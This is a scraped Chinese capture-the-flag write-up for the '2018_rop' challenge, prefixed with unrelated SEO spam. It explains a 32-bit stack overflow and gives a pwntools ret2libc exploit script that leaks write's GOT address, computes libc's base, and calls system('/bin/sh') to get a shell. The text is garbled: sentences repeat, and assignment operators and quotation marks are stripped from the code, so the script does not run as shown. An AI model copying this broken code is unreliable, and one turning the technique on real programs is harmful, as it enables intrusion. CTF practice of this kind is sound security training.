免费网站推广网站在线,番禺网站建设a2345,河南住房和城乡建设厅网站主页,网站建设大作业感想这题是一题标准的rop。先简单查看下保护#xff1a; 32位程序#xff0c;黑盒测试下效果#xff1a; 一上来就是输入#xff0c;然后结尾会输出Hello,World.看看IDA中具体逻辑如何#xff1a; 漏洞点主要在vulnerable_function()函数中。老常规栈溢出了。做这种题的思路 32位程序黑盒测试下效果 一上来就是输入然后结尾会输出Hello,World.看看IDA中具体逻辑如何 漏洞点主要在vulnerable_function()函数中。老常规栈溢出了。做这种题的思路
1.第一次布局通过题目中的write,puts等函数将库函数地址泄露并能返回到主程序
2.通过计算算出libc基地址进一步得到system地址。
3.找到libc中bin/sh的位置
4.第二次布局就是直接布置rop
exp如下
#codingutf-8
from pwn import *
context.log_leveldebug
#premote(node3.buuoj.cn,28424)
pprocess(./2018_rop)
elfELF(./2018_rop)
libcELF(/lib/i386-linux-gnu/libc-2.27.so) #here is your libcvul_addrelf.sym[main]
write_pltelf.plt[write]
write_gotelf.got[write]payload a*(0x880x4)
payload p32(write_plt)
payload p32(vul_addr)
payload p32(1)
payload p32(write_got)
payload p32(4) gdb.attach(p)
p.sendline(payload)
write_addru32(p.recv())print(!!!,hex(write_got))write_offsetlibc.sym[write]
system_offset libc.sym[system]
binsh_offset next(libc.search(/bin/sh))base_addr write_addr - write_offset
sys_addr system_offset base_addr
bin_addr binsh_offset base_addrpayload1 a * 0x88
payload1 b*4
payload1 p32(sys_addr)p32(1)p32(bin_addr)
p.sendline(payload1)
pause()
p.interactive()
我这是打本地的代码远程的话给了libc用libc没给libc用LibcSearcher,个人感觉不太好用很多时候找不到。